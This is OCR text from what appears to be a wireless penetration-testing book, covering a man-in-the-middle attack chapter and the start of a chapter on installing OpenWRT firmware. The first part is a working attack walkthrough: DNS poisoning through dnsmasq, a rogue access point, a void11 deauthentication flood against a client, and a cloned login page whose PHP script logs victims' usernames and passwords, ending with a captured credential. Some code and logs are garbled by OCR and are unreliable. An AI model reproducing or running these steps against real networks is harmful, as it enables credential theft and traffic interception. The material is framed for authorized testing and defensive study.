# Change this line if you want dns to get its upstream servers from
# somewhere other that /etc/resolv.conf

#resolv-file=

# Add domains which you want to force to an IP address here.
# The example below send any host in doubleclick.net to a local
# webserver.

address=/www.google.com/192.168.10.10

Uncomment this to enable the integrated DHCP server, you need
to supply the range of addresses available for lease and optionally
a lease time. If you have more than one network, you will need to

repeat this for each network on which you want to supply DHCP

H+ H H H H

service.

dhcp-range=192.168.10.100,192.168.10.200,255.255.255.0,24h

# For debugging purposes, log each DNS query as it passes through
# dnsmasqg.
log-queries

In the above configuration file, there are a few key options that you need to
configure. You want Dnsmasq listening on the wlan1 interface, which is the interface
that your access point is configured on.

The address variable is the most important section of the Dnsmasq configura-
tion. It allows us to control DNS replies when a client has a particular DNS request
that you want. In the aforementioned configuration, if the victim tries to connect to
www.google.com, Dnsmasq will reply with the address 192.168.10.10, which can be
configured with a spoofed Web site.

After you configure Dnsmasq, start it with the following command:

/etc/init.d/dnsmasqg start
DHCP and DNS requests are logged in /var/log/messages. To monitor incoming

DHCP requests, you can check the /var/log/messages file with the following com-
mand (see Figure 9.12).
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grep dnsmasqg /var/log/messages

| grep -i dhcp

Figure 9.12 Viewing DHCP Requests from a Dnsmasq Log File
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29 13:34:23 dan-
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29 13:34:26 dan-
29 13:34:29 dan-
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dan-attack 0

fle Edt View Terminal Tabs Help

dnsmasq /fvar/log/messages | grep -i dhep

attack
attack
attack
attack
attack
attack
attack
attack

dnsmasql 4741 :
dnsmasql474] :
dnsmasq[ 474] ¢
dnsmasq[474] :
dnsmasql 4741 :
dnsmasql474] :
dnsmasq[ 474] ¢
dnsmasq[474] :

DHCPDISCOVER(wlanl) 00:02:2d:2d:82:36

DHCPOFFERiwlanl) 192.168.10.126 00:02:2d:2d:82:36
DHCPREQUEST (wlanl) 192.168.10.126 00:02:2d:2d:82: 36
DHCPACK (wlanl) 1592.168.10.126 00:02:2d:2d:82:36 victiml
DHCPINFORM{wlanl] 192,168.10.126 00:02:2d:2d:82:36
DHCPACK (wlanl) 1592.168.10.126 00:02:2d:2d:82:36 victiml
DHCPINFORM{wlanl] 192.168.10.126 00:02:2d:2d:82:36
DHCPACK (wlanl) 1592.168.10.126 00:02:2d:2d:82:36 victiml

o]

* Chapter 9

As you can see, Dnsmasq can also log DNS queries, as shown in Figure 9.13,

which is controlled in the dnsmasq.conf file on the line that reads log-queries.

Figure 9.13 Viewing DNS Queries from a Dnsmasq Log File
e jjyy————__""nrs ey

lAug 29 14:12:07 dan-
Aug 29 14:12:21 dan-
[Aug 29 14:12:35 dan-
dan-attack ]

arep

Fle Edt View Terminal Tabs Help
[dan-attack

dnsmasq /var/log/messages | grep query

attack dnsmasql474]: query[A] mail.google.com from 192.168.10.126
attack dnsmasql474]: query[A] www.google.com from 192,168,10,126
attack dnsmasq[474]: querylA] www.msn.com from 192.168.10.126

Apache Hypertext Preprocessor
and Virtual Web Servers

Apache is a versatile and configurable Web server that provides the ability to host

spoofed Web applications on the MITM attack laptop. Hypertext Preprocessor

(PHP) is a Web-development scripting language that can be embedded in Hypertext
Markup Language (HTML) code. During the MITM attack, demonstrate how to
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create a spoofed login page using Apache and PHP to capture user credentials. To
install Apache, you can use the package management tool used in the Linux distribu-
tion, or you can download and install Apache and PHP from the source code. The
Apache Web server can be downloaded from http://httpd.apache.org/, and PHP can
be downloaded from www.php.net/ (see Figure 9.4).

After you install Apache and PHP, you can start Apache with the following
command:

/etc/init.d/apache2 start

During the MITM attack, spoof a Web page and host it on your attack platform.
In a real scenario, you might want to set up multiple Web sites to increase the
chance of capturing user credentials. To host multiple instances or Web sites on your
Web server, you can create virtual Web directories in the /etc/apache2 /vhosts.d/
00_default_vhost.conf file.

You can define multiple virtual directories in the 00_default_vhost.conf file using
the following command:

<VirtualHost 192.168.10.2:80>
DocumentRoot "/var/www/localhost/htdocs/sitel/"

</VirtualHost>

<VirtualHost 192.168.10.3:80>
DocumentRoot "/var/www/localhost/htdocs/site2/"

</VirtualHost>

<VirtualHost 192.168.10.4:80>
DocumentRoot "/var/www/localhost/htdocs/site3/"

</VirtualHost>

In the above configuration, each virtual host has a separate IP address defined for
each site. In order for this to work properly, you need to define virtual interfaces for
each IP address using the following commands:

ifconfig wlanl:0 192.168.10.2 netmask 255.255.255.0
ifconfig wlanl:1 192.168.10.3 netmask 255.255.255.0
ifconfig wlanl:2 192.168.10.4 netmask 255.255.255.0

After you create the appropriate document root directory (defined in the
00_default_vhost.conf directory) you can redirect the wireless clients to your virtual
Web servers.
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Figure 9.14 Apache Virtual Web Hosts
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Clone the Target
Access Point and Begin the Attack

Once you are finished with the configuration of your MITM attack laptop, you can
establish your wireless connections and begin the attack. At this point, you should
make sure your hardware is running and properly connected, including the amplifier
and omni-directional antenna.

Establish Wireless
Connectivity and Verify Services are Started

Subsequent to the laptop configuration you can verify necessary services are started,
establsih connectivity to the target wireless network and enable the MITM AP.

Start the Wireless Interface

After you are done configuring the wireless file, you can start the wireless interfaces

and establish your wireless network connections. (See the “Laptop Configuration” sec-

tion for information on configuring the wlan0 and wlan1 wireless network cards.)
Establish the connection to your target wireless network using the command:

/etc/init.d/net.wlan0 start.

As shown in Figure 9.15, you were able to establish the connection and received
DHCP address 192.168.1.103 on the target wireless network (VisitorLAN with the
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BSSID of 00:13:10:1E:65:42). This is your primary connection to the target net-
work.
Next, start your other wireless interface (wanl) using the command:

/etc/init.d/net.wlanl start

As defined in the /etc/config.d/wireless file, you are setting the wlan1 interface to
be an access point with IP address 192.168.10.1. As you can see in Figure 9.15, both
wireless connections are up and running.

Figure 9.15 Starting the Wireless Interfaces
e ——1 5 |

Ele Edt Mew Terminal Tebs Help

dan-attack fetc/init.d/net .wland start
* Starting wlan0
*  Configuring wireless network for wlanO
wlan0 connected to "VisitorLAN" at 00:13:10:1E:65:42
in managed mode (WEP enabled - restricted)
Bringing up wlanQ
dhep
Running dhcped ... ok
wlan@ received address 192.168.1.103
dan-attack Jfetc/init.d/net.wlanl start
* Starting wlanl
*  Configuring wireless network for wlanl

[r]

LR

* wlanl connected as "VisitorLAN"

* in master mode on channel & (WEP enabled - restricted)

*  Bringing up wlanl

* 192,168.10.1 ok

dan-attack

i

As shown in Figure 9.15, the wlan0O wireless card is connected to the
VisitorLAN access point with the BSSID of 00:13:10:1E:65:42. The wlan1 wireless
card is in Master mode, and has the VisitorLAN SSID.

Verify Connectivity to the Target Access Point

At this point, you are connected to the target access point to verify your connec-
tivity, check our default route using the route command, and then ping it as shown in
Figure 9.16.

Verify Dnsmasq is Running

When a wireless client makes a connection to your access point, you want to make
sure that they receive an IP address that is served by Dnsmasq. Verify that Dnsmasq 1s
running and configured properly (described in the “Configuration” section of this
chapter).You can check to see if the service is started using the command:

/etc/init.d/dnsmasqg status
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Figure 9.16 Verify Connectivity to the Target Access Point

Fle Edt View Terminal Tabs Help

dan-attack route Zl
Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface

192.165.1.0 * 255.255.255.0 u a s} @ wland

192,168,10.0 * 255,255,255.0 u [c] ¢} @ wlanl

loopback * 255.0.0.0 u a a 01lo

default 19: .11} 0.0.0.0 uG [¢] [¢] @ wland

dan-attack ping 192.168.1.1

PING 192,168.1.1 (192.168.1.1) 56(84] bytes of data.

&4 bytes from 192.168.1.1: icmp_seq=1 tt1=64 time=2.32 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=2.16 ms

- 182,168.1.1 ping statistics ---
2 packets transmitted, 2 received, (% packet loss, time 1080ms
rtt min/ava/max/mdev = 2.166/2.246/2, 326/0. 080 ms
dan-attack

Verify Iptables is Started
and View the Running Rule Sets

To verify that iptables is started, issue the following command:

/etc/init.d/iptables status

To view the running rules using iptables, issue the following command.

iptables -L

If everything looks good, you can continue on; otherwise, you have to change
the rules and issue the iptables commands (shown in the “Laptop Configuration”
section of this chapter). Figure 9.17 verifies that iptables is started and the correct
NAT rules are running.

Figure 9.17 Verify Iptables Rules
e 0¥ |

fle Edt Mew ITerminal Tabs Help

dan-attack fetc/init.d/iptables status =
¥ status: started

dan-attack iptables -L

Chain IMPUT (policy ACCEPT)

target prot opt source destination

Chain FORWARD (policy ACCEPT)

target prot opt source destination
ACCEPT all -- 192.168.1.0/24 anywhere
ACCEPT all -- 192.168.10.0/24 anywhere
Chain OUTPUT ipolicy ACCEPT)

target prot_apt source destination

dan-attack
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Deauthenticate Clients
Connected to the Target Access Point

To get the victim wireless clients to connect to your access point, you can wait until
they disconnect and reconnect, or you can force them to reconnect. To force the
clients oft the target wireless network, you can deauthenticate them from the target
access point using another computer. As shown in Figure 9.18, you deauthenticated a
wireless client (00:02:2D:2D:82:36) from the target access point using void11.

Figure 9.18 Void11 Performing a Deauthentication Flood on a Wireless
Client

Fle Edt View Terminal Tsbs Help

dan-attack2 voidll_penetration -D -5 00:02:2D0:2D:82:36 -B 00:13:10:1E:65:42 -m 50 wlanl |4
Opening raw packet socket far ifindex 7
ioct1[PRISM2_TOCTL_HOSTAPD]: Invalid argument
interface : wlanlap

ssid ;

delay ;16000 usec

auto_flood: disabled

type 1 deauth flooding

bssid ; 00:13:10:1e:65:42

Wait for the Client to
Associate to Your Access Point

If all goes well and the signal strength of your access point is stronger than the target
networks access point, you should see the wireless client connect to your access
point. When a wireless client associates to your access point, you need to assign it an
IP address (see Figure 9.19). Dnsmasq will provide an IP address to the client using
the DHCP allocations defined in the /etc/dnsmasq.conf file. The client will use the IP
address of your access point as the gateway and primary DNS server.

To monitor incoming connections to your access point, you can start a network
sniffer (Global Regular Expression Parser [GREP] for DHCP requests from the
Dnsmasq log file (logs to syslog in /var/log/messages). Using the command below, you
can see that the client you sent a deauthentication flood to is now connected to
your access point.

grep -i dhcpack /var/log/messages
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Figure 9.19 Wireless Client Obtains an IP Address

Fle Edt View Terminal Tabs Help

dan-attack grep -i dhcpack svar/log/messages -
Sep 3 15:20:21 dan-attack dnsmasq[8302]1: DHCPACK(wlanl) 192.168.10,178 00:02:2d:2d:82:36 victiml
dan-attack 0

[ -

Identify Target Web Applications

Now that you have a client connected to your access point, you need to see what
applications they are connecting to. The quickest way to do this is to view your
Dnsmasq logs for incoming DNS requests. You can GREP your log file to view
DNS requests from the wireless clients (See Figure 9.20)

Figure 9.20 A DNS Request/Reply from the Wireless Client
e s Iy

Fle Edit \iew Terminal Tsbs Help
dan-attack grep -i dnsmasq fvar/log/messages

Sep 3 15:20:15 dan-attack dnsmasql&302]: DHCPRELEASE(wlanl) 192,168,10,178 00:02:2d:2d:82:36

Sep 3 15:20:21 dan-attack dnsmasql&302]: DHCPDISCOVER(wlanl] 192.168.10.178 00:02:2d:2d:82:36
Sep 3 15:20:21 dan-attack dnsmasql8302]: DHCPOFFER{wlanl) 192.168.10.178 00:02:2d:2d:582:36

Sep 3 15:20:21 dan-attack dnsmasql8302]: DHCPREQUEST(wlanl) 192.168.10.178 00:02:2d:2d:62:36
Sep 3 15:20:21 dan-attack dnsmasqgl8302]1: DHCPACK(wlanl) 192,168.10.178 00:02:2d:2d:82:36 victiml
dan-attack

[

The DNS request for login.intranet looks interesting, so lets check it out using

your Web browser.
As you can see in Figure 9.21, you have an Intranet Login page. After authenti-
cating to it, you will have access to internal resources and possibly more applications.
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Figure 9.21 An Intranet Login Page Requested by Your Web Client
e —— RS

Fle Edt Mew Go Bookmarks Tools Help
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Password: |
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Spoof the Application

The goal of the spoofed application is to have the user log in to your Web page
instead of the real (authorized) one.This won’t be difficult, because the site is not
using SSL and is using a form-based authentication page.

Using wget to Download the Target Web Page

A quick and easy way to spoof the site is to download the target Web page using
wget and modify the source. Because this Web page is very basic and doesn’t have
any images, you can save the page itself and modify the source. Wget is very helpful
when you have a complex Web site with sidebar navigation, fancy JavaScript menus,
and a lot of images, because it will grab everything for you.

To walk through the steps, we can download the target Web application with the
following command:

wget -r http://192.168.1.30
Once you have all the files associated with the Web page, you need to modity

the source HTML and add some extra code to capture the username and password
form variables.

Modify the Page

When you edit the index.html file using our favorite text editor, you should change
the content of the page so that it looks the same to the user.You don’t want to tip
the user oft that this isn’t the real Web page.
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The code below is the original index.html Web page. You aren't going to

modify this page; however, if it were a more complex page, you might have to

modify links to stylesheets, images, Java Scripts,

and possibly more. For

this example, you want to note the form variables and action
page.<html><title>Intranet Login</title><body bgcolor=white>

<hl>Intranet Login</hl>

<form action='login.php' method="post"s>
<table border=0><tr><td>

Username:

</td><td>

<input type=text name="username" size=30>
</td></tr>

<tr><td>

Password:

</td><td>

<input type="password" name="password" size=30>

</td></tr>

</table>

<input type="submit" value="Submit">
</form>

</body></html>

Now that you know the names of the form variables, the method, and the

action, you can create your own backend login.php page. Using a simple PHP page,

capture the user credentials and redirect the client back to the original source of the

Web page. Below is a login.php page that will do this:

<?php

Susername = $ POST['username'];

$password = $ POST['password'];

$log="'/var/log/apache2/captured.txt';

Suser_ info=("Username:S$username Password:$password"

{
Sfp=fopen(slog, "a") ;
fwrite ($fp, S$Suser info);

fclose ($fp) ;

}

SURL= ("http://192.168.1.30") ;

n\nn) ;

www.syngress.com



276

Chapter 9 * Using Man-in-the-Middle Attacks to Your Advantage

header ("Location: SURL") ;

?>

The login.php page requests the form variables from the index.html page. Utilizing
the PHP file write functions, you can write the captured credentials to a log file
(var/log/apache2 /captured.txt). After it writes the captured credentials to a file, you can
redirect the client to the original login page by setting the header location variable.

After you finish your page modifications, you need to that Apache is running
and accessible.

R edirect Web Traffic Using Dnsmasq

Once your fake login page is functional, you can poison the client’s DNS traftic to
redirect any queries to your malicious login page.To do this, you can modify the
address variable of your Dnsmasq configuration file to add the DNS name of your
target and the IP address of your Web server”

address=/login.intranet/192.168.10.1

Once you update the address variable, you have to restart the Dnsmasq service to
enable the changes:
/etc/init.d/dnsmasqg restart

At this point, if a client connected to your access point makes a request for the

login.intranet Web page, the IP address will resolve to your Web server, which is
hosting the spoofed login page (see Figure 9.22).

Figure 9.22 Client DNS Request with Reply to the IP Address of Your Web
Server

Ele Edt WYew Terminal Tabs Help

dan-attack grep dnsmasq fvar/log/messages | tail -n 2 -
Sep 4 03:32:16 dan-attack dnsmasql8104]: query[Al login.intranet from 192,168.10.178
Sep 4 03:32:16 dan-attack dnsmasq[8104]: config login.intranet is 192.168.10.1
dan-attack 0

i
=

You can also monitor connections to your Web server by viewing the Apache
log files located in /var/log/apache2/access_log.
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Once the user connects to your spoofed Web page, you can monitor the
/var/log/apache2 /captured.txt file (see Figure 9.23).

Figure 9.23 Wireless Client Connects to Spoofed Web Page

File Edt Mew Terminal Tabs Help

dan-attack -~ # more fvar/log/apache2/access_log -
192,168.10,178 - - [04/Sep/2006:03:31:29 -0500] "GET / HTTR/1.1" 200 409

192.168.10.178 - - [04/5Sep/2006:03:32:16 -0500] "GET / HTTP/1.1" 304 -

192.168.10.178 - - [04/5ep/2006:03:33:37 -0500] "POST /login.php HTTP/1.1" 200 132
dan-attack

.

As seen in Figure 9.24, you were able to capture user credentials using a spoofed
Web application. This was a basic MITM example targeted at a Web application to
harvest user credentials. You can use this basic attack methodology and expand on it
to target many other applications (not just Web applications) applicable to the envi-
ronment you are testing.

Figure 9.24 Captured User Credentials
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dan-attack more fvar/log/apachez/captured.txt -
Username:mjconnelly Password: 02232006
dan-attack 0
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www.syngress.com



278

Chapter 9 * Using Man-in-the-Middle Attacks to Your Advantage

Summary

In this chapter, we talked about the necessary components required to perform a
successful MITM attack during a wireless penetration test. The design of a MITM
attack is very basic. The fundamental goal is to install an access point on your laptop
using available drivers and utilities, and configure it to look like someone else’s access
point. We discussed various equipment needed to perform this attack (i.e., a laptop,
wireless cards, 2.4 GHz antenna(s), an 802.11 B/G amplifier, and more).

During the “Laptop Configuration” section, we configured the Linux kernel to
add support for your Host AP access point, and installed various services that enable
us to provide connectivity to wireless clients as well as stay connected to your target
access point. Lastly, we created a basic MITM example using a spoofed login Web
page to steal user credentials.

Solutions Fast Track

MITM Attack Design

M The basic MITM design goal is to have a wireless client connect to an

access point that you control and then forward their traffic to the real
(authorized) AP.

During a wireless penetration test, the security controls of a wireless
network are generally tested. For this chapter, this was referred to as the
target AP. To successfully perform a MITM attack, one or more target APs
are required.

The wireless client (victim) of an MITM user credential theft has an initial
connection established to the target AP. The wireless client that is
disconnected from the target AP that is associated with it, makes them
associate to the access point configured on the MITM attack platform.

The MITM attack platform provides access point functionality for wireless
client(s), which were originally connected to target AP. The MITM attack
platform is configured with almost identical settings as the target AP;
therefore, a normal user cannot tell the difference between the attacker’s
access point and the real (authorized) access point.
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Hardware for the Attack—
Antennas, Amps, WiF1 Cards

o}

]

To successfully perform a MITM attack, several pieces of hardware and a
few key software programs are needed.

A laptop can serve as a clone of the target AP and provide connectivity
back to the target wireless network. The platform can ran a Web server to
host any spoofed Web sites discovered during an attack. Therefore, the
laptop should be equipped to handle memory intensive tasks.

Two wireless network cards are required for the attack platform. One
wireless card provides access point functionality for the wireless client(s)
(victims), which must be able to go into Host AP mode, (also known as
master mode). The purpose of the second wireless card is to provide
connectivity to the target AP.

Wireless connectivity to the target AP and to the wireless client(s) is
essential for an attack to work. Also, a strong wireless signal broadcasting
from a Host AP access point is needed. Therefore, choosing the right
antenna is important. There are two main types of antennas that to consider
for this attack: directional and omni-directional.

A 2.4 GHz amplifier is designed to extend the range of a 2.4 GHz radio
device or AP. For this purpose, an amplifier is used in conjunction with an
antenna to boost the signal of the MITM access point. The intent is for the
wireless signal of the access point to be stronger than the wireless signal of
the target access point.

Identify and Compromise the Target AP

]

Before MITM attack can be mounted, the target AP needs to be identified
and compromised. As discussed previously, the need to establish
connectivity to the target AP is vital. To do this, it is necessary to
circumvent any security mechanisms enabled on the access point.

To gather preliminary data on the target, you have go back to WarDriving
basics and gain as much information about the target as possible.

The information gathered during the WarDrive can be used help
compromise the target access point’s security controls.
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The MITM Attack Laptop Configuration

M The Linux kernel is the core component that the Linux operating system is
built around. It contains many options for hardware support, utilities, and
drivers. Some options in the kernel must be enabled to get the attack
platform ready for the attack.

M Subsequent to the installation and configuration of the Linux kernel and
two wireless network interfaces, enabling IP Forwarding and NAT
ultimately creates a wireless router/gateway. IP Forwarding provides the
ability to have both wireless interfaces communicate and pass traftic to each
other.

M Dnsmasq is a lightweight, easily configured DNS forwarder and DHCP
server. On the attack platform, Dnsmasq serves two important functions; it
provides IP addresses to the wireless clients connecting to the access point,
and gives the ability to monitor and poison DNS queries. This tool is very
useful when redirecting the DNS requests for Web applications to a
spoofed Web server.

Clone the Target Access Point and Begin the Attack

M When finished with the configuration of the MITM attack laptop, wireless
connections are established and the attack begins. At this point, it is
important to make sure that the hardware is running and properly
connected, including the amplifier and omni-directional antenna.

M To get the victim wireless clients to connect to an access point, wait until
they disconnect and reconnect or force them to reconnect. To force the
clients oft the target wireless network, the target access point can
deauthenticate them using void11.

M If all goes well and the signal strength of the access point is stronger than
the target network’s access point, the wireless client should connect to the
access point. Dnsmasq will give the client an IP address using the DHCP
allocations defined in the /etc/dnsmasq.conf file. The client uses the IP
address of the access point as their gateway and primary DNS server.
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Frequently Asked Questions

The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the “Ask the Author” form.

Q: What hardware do I need to set up a wireless MITM attack?
A: A typical MITM attack platform utilizes the following hardware components:

® A laptop computer with either two PCMCIA slots or one PCMCIA and
one mini-PCI slot

® Two Wireless NIC Cards
®  An External antenna (omni-directional preferred)
®m A bi-directional amplifier (optional)

B A pigtails to connect the external antenna to the amplifier and wireless
NIC

® A handheld GPS unit (optional)

B A power inverter

Q: What type of antenna should'l.use for the MITM access point?

A: For this purpose, the directional antenna isn’t a good choice, because you want
to broadcast your signal to as many clients as possible, However, if you are tar-
geting specific wireless client(s) gathered in the same general location, the direc-
tional antenna can be a good option. The omni-directional antenna sends and
receives the wireless signal in all directions. Because you may not know where a
wireless client will try to connect from, you will want to use an omni-direc-
tional antenna.

Q: Why do I need two wireless cards?

A: One wireless card provides access-point functionality for the wireless client(s)
(victims). This card must be able to go into Host AP mode. The purpose of the
second wireless card is to provide connectivity to the target AP,
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Q: Which wireless cards can support Host AP mode?

A: Host AP is a Linux driver for wireless cards, which provides 802.11b access point
functionality for wireless cards using Intersil’s Prism2, Prism2.5, or Prism3
chipset. You can obtain more information about supported cards from,

http://hostap.epitest.fi/.

Q: How can I disconnect a wireless client from one access point and have them
connect to my access point?

A: To get the victim wireless clients to connect to your access point, you can wait
until they disconnect and reconnect or you can force them to reconnect. To
force the clients oft of the target wireless network, you can deauthenticate them
from the target access point, using void11.
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Choices for Modifying the
Firmware on a Wireless Access Point

When it comes to modifying the firmware on an access point, there are several dif-
ferent choices that can be installed on a wide variety of access points. The top
choices for firmware are Hyper WRT, DD-WRT, and OpenWRT. This chapter
tfocuses on the OpenWRT firmware.

Software Choices

HyperWRT

HyperWRT is a power boost firmware for the Linksys WRT54G and WRT54GS
routers (see www.hyperwrt.org). Because of the limited number of versions of this
firmware, it may be difficult to find a WRT54G(S), because new Linksys devices are
running version 5. HyperWRT firmware ofters the ability to use a command shell
or Telnet connection, and most options are available via the Web interface.

HyperWRT features a limited set of commands and offerings; however, it does
have the ability to perform firewall logging, add startup scripts, and adjust the
transmit power of the WRT54G(S).

DD-WRT

DD-WRT firmware works on several devices and offers a richer set of options than
HyperWRT. At the time of this writing, DD-WRT is at version 23 Service Pack 1
(SP1). Some of the default features of DD-WRT are the KAI gaming network
daemon, Remote Authentication Dial-in User Service (RADIUS) support, the
ability to increase the radio transmit power, and Quality of Service (QoS) allocation.
Additional information about the DD-WRT distribution can be found at www.dd-
wrt.com.

OpenWRT

OpenWRT is the most popular firmware, and has been released on over 30 different
manufacturer’s devices and 50 individual devices. Improvements and packages are
continually added that take advantage of the access point’s features. The most current
version of OpenWRT 1s WhiteRussian RC5. Many people use the OpenWRT
firmware to extend their current network devices to include newer services.
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Hardware Choices

As of this writing, most wireless access points can be reflashed with updated
firmware. Some devices only support HyperWRT, while others support all types of
firmware. Check the list of recommended hardware for the firmware you are con-
sidering, to make sure that it is supported.

Installing OpenWRT
on a Linksys WRT54G

The OpenWRT firmware supports several different types of wireless access points.
As newer devices emerge, more people are finding ways to install the software on
their devices. Table 10.1 is a list of the manufacturers who have devices that support
OpenWRT.

Table 10.1 Manufacturers that Support the OpenWRT Firmware

285

3Com Compex Microsoft T-Com

4 Systems Comtrend Mikrotik Thomson
ActionTec Dell Mitsubishi Topcom
Airlink101 D-Link Motorola Toshiba
A-link Dynalink Netgear TP-LINK
ALLNET Edimax Netopia Trendnet
Asus Freecom Ravotek US Robotics
AVM Gateway Siemens Viewsonic
Aztech Gigabyte Simpletech Yakumo
Belkin LevelOne Sitecom ZyXEL
Buffalo Linksys SMC

Castlenet Maxtor Soekris Engineering

Each manufacturer listed has a set of devices that support the OpenWRT

firmware. There are over 50 devices from various manufacturers that support the

firmware. A list of these devices can be found at http://toh.openwrt.org.

Some devices only support a limited set of commands, while others (e.g.,
WRT54G) support the entire package. Some of the devices (e.g., Asus WL-700gE)
support the addition of external hard drives, to allow additional packages to be

installed. This way, the device can be used as a full-fledged workstation.
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Most of the other devices only allow firmware to be installed in the available
random access memory (RAM) supplied by the device. Most of the devices only
have 16 or 32 megabytes (MBs) of RAM available. This limits the device’s capacity
to manage a lot of different software packages, which forces you to choose which
packages are downloaded and installed. One of the nice things about firmware is the
ability to easily add and remove software packages as needed.

Downloading the Source

The OpenWRT firmware can be downloaded from www.openwrt.org. This Web
site provides useful information regarding the firmware, including development
pages, a documentation wiki, and a lot of help and information from the forums.

The most up-to-date version of the firmware is WhiteRussian version RC5.
This package has been out for over a year, with a new version poised to emerge.
This section focuses on the installation and use of WhiteRussian RC5 on a Version
3.1 Linksys WRT54G wireless access point.

The previous versions of the WRT54G did not have the ability to use external
Linux-based firmware; therefore, Linksys reduced the amount of available RAM and
installed their own version of the VxWorks operating system. “How do I know if the
device I purchase is compatible with OpenWRT, before I purchase it?” Table 10.2
identifies the different versions of WRT54G and how much RAM is available.

Table 10.2 Determine if the Linksys WRT54G is Compatible with OpenWRT

WRT54G
Version CPU Speed RAM Flash Memory S/N Prefix
1.0 125 Megahertz (MHz) 16MB 4MB CDFO
CDF1
1.1 125 MHz 16MB 4MB CDF2
CDF3
2.0 200 MHz 16MB 4MB CDF5
2.2 200 MHz 16MB 4MB CDF7
3.0 200 MHz 16MB 4MB CDF8
3.1 216 MHz 16MB 4MB CDF9
4.0 200 MHz 16MB 4MB CDFA
5.0 200 MHz 8MB 2MB CDFB
5.1 200 MHz 8MB 2MB CDFC
6.0 200 MHz 8MB 2MB CDFD
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The information in this table was created using the Wikipedia page on
OpenWRT (found at http://en.wikipedia.org/wiki/ WRT54G). This page also ofters
tables for installation on the Linksys WRT54GS and other versions of Linksys
hardware.

This section walks through the installation of the WhiteRussian RC5 package of
OpenWRT. A “micro” installation reduces the installation size, but does not include
the Web interface and some packages. If you choose to install the micro edition, you
will lose some wireless packages that may be required at a later date.

The OpenWRT firmware ofters two types of file systems: SquashFS and JFFS2.
The JFFS2 file system uses a few hundred kilobytes of extra space and does not pro-
vide a fail-safe mode in case something goes wrong. The SquashFES file system can be
a frustrating file system to use, because most of the configuration files are read-only.
In order to manipulate these files, copy them from the /rom directory into the direc-
tory where you want to edit the files.

Installation and How Not to Create a Brick

For the purposes of this chapter, we will install the SquashFS file system on the
WRT54G v.3.1. Go to the OpenWRT Web site and download the .bin file for the
correct version of the WRT54G (available from http://downloads.openwrt.org/
whiterussian/rc5/bin/).

Download the openwrt-wrt54g-squashfs.bin file to a temporary folder on your local
computer (e.g., ¢:\temp). Note that you may need a different installation package,
depending on your choice for installation). See Figure 10.1 for a directory listing.

Figure 10.1 OpenWRT /bin/ Directory Listing

Heme Last modified Size

S [ ————— -

@ mdSsums 27-Mar-2006 02:09 1.2K
@ openvrt-brem-2.4-jEfsz-4ME. trx 27-Mar-2006 02:08 2.1M
@ openvrt-brem-2.4-jEfsz-8ME. trx 27-Mar-2006 02:08 2.0M
openvrt-brem-2 . 4-squashfs . trx 27-Mar-2006 02:08 1.5M
openvrt-wa@d0y-3jffs2.bin 27-Mar-2006 02:08 2.1K
openvrt-wafd0y-sequashfs.bin 27-Mar-2006 02:08 1.5
openvrt-we800y-3ffs2.bin 27-Mar-2006 02:08 2.1M
openvrt-we800y-squashis. bin 27-Mar-2006 02:08 1.5M
openvrt-wr850y-3Ifs2.bin 27-Mar-2006 02:08 2.1M
openvrt-wr850y-squashis . bin 27-Mar-2006 02:08 1.5M
openvrt-wrtS4g-JEfs2.bin 27-Mar-2006 02:08 2.1M
opEnvrt-wrtS4y-squashis.bin 27-Mar-2006 02:08 1.5M
openwrt-wrtS4gdg-jEfsz.hbin 27-Mar-2006 02:08 2.1K
openvrt-wrtS4gig-squashfs.bin 27-Mar-2006 02:08 1.5M
openvrt-wrtS4gs-jffs2.bin 27-Mar-2006 02:08 2.0M
openvrt-wrtS4gs-squashis.bin 27-Mar-2006 02:08 1.5M
openvrt-wrtS4gs_ve-jffsz.bin 27-Mar-2006 02:08 2.1M
openvrt-wrt5dgs_vi-squashfs.bin 27-Mar-2006 02:08 1.5M
openvrt-wrtslS4gs-jffsz. bin 27-Mar-2006 02:08 2.0M
openvrt-wrtslS4gs-squashfs.bin 27-Mar-2006 02:08  1.5M
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Once the firmware is downloaded, there are two installation options. The first
option is to use the original Linksys Web interface to install the .bin file. The second
option is to use a Trivial File Transfer Protocol (TFTP) server to push the image to
the device upon boot. Some think the TFTP option is the safest, because if the
installation goes wrong you will not ruin the device (aka “bricking” the device).
Others think the Linksys Web interface is the easiest, but perhaps the most dan-
gerous. We step quickly through both options.

Installation via the Linksys Web Interface

Boot up the WRT54G and connect to the Web interface with either default user-
name Admin and password admin, or the username and password you created.
Make sure your workstation is on the same subnet as the access point, and that you
have a physical connection to one of the four ports on the back. Select
Administration | Firmware Upgrade (see Figure 10.2).

Figure 10.2 The Firmware Upgrade Window

LINKSYS®

A Division of Cisco Systems, Inc. Firmuare

Wireless-G Broadband Router

Administration Access

Wireless Security Restrictions Administration

| Log | Dis | Fa = i Upgrade |
Upgrade Firmware

Firmware Upgrade

Please select a file to upgrade: | |[ Browse...

Warning: Uparading firmware may take a few minutes, plesse dont
turn off the power or press the reset button.

Upgrade must HOT be interrupted !

Cisco SYSTEMS

Click the Browse... button and traverse to the folder where you saved the
openwrt-wrt54g-squashfs.bin file. Click Upgrade to perform the upgrade (see Figure
10.3). Do not interrupt the installation for any reason, because it will corrupt the
installation and cause major problems.
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Figure 10.3 The Upgrade Process

LINKSYS®

A Division of Cisco Systems, Inc. Firrmu

Wireless-G Broadband Router

Administration e Access e

Wireless Security Restrictions

it | Log | Dizgr

Upgrade Firmware

Firmware Upgrade

Please select & file to upgrade: |C:\Documents and Settir|[ Browse. .

Warning: Uparading firmware may take a few minutes, plesse dont
turn off the power or press the reset button.

Upgrade must HOT be interrupted !

Once finished, the Web page will notify you that the “Upgrade is successful.”
Click Continue to access the OpenWRT Web interface, or enter http://192.168.1.1
into your browser (see Figure 10.4).

Figure 10.4 The OpenWRT Web Interface

CATEGORIES:  »Info«

OpenWrt Admin Console

About  »Router Info«

Router Info

WHITE RUSSIAN (RCS)
* 2 oz Vodka Mix the WVodka and Eahlua together
* 1 oz Kahlua over ice, then float the cream or
* 1/202 cresm milk on the top.

Firmware WVersion WHITE RUSSIAN (RCS)

Kernel Yersion Linux version 2,4,30 {(nbd@ux-2y02) (gcc version 3.4.4 (OpenWrt-1.0)) #1 Sun Mar 26 19:02:04 CEST 2006
Current Date/Time Sat Jan 1 00:03:30 UTC 2000

MAC Address 00:13:10:69: AAB4
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Installation via the TFTP Server

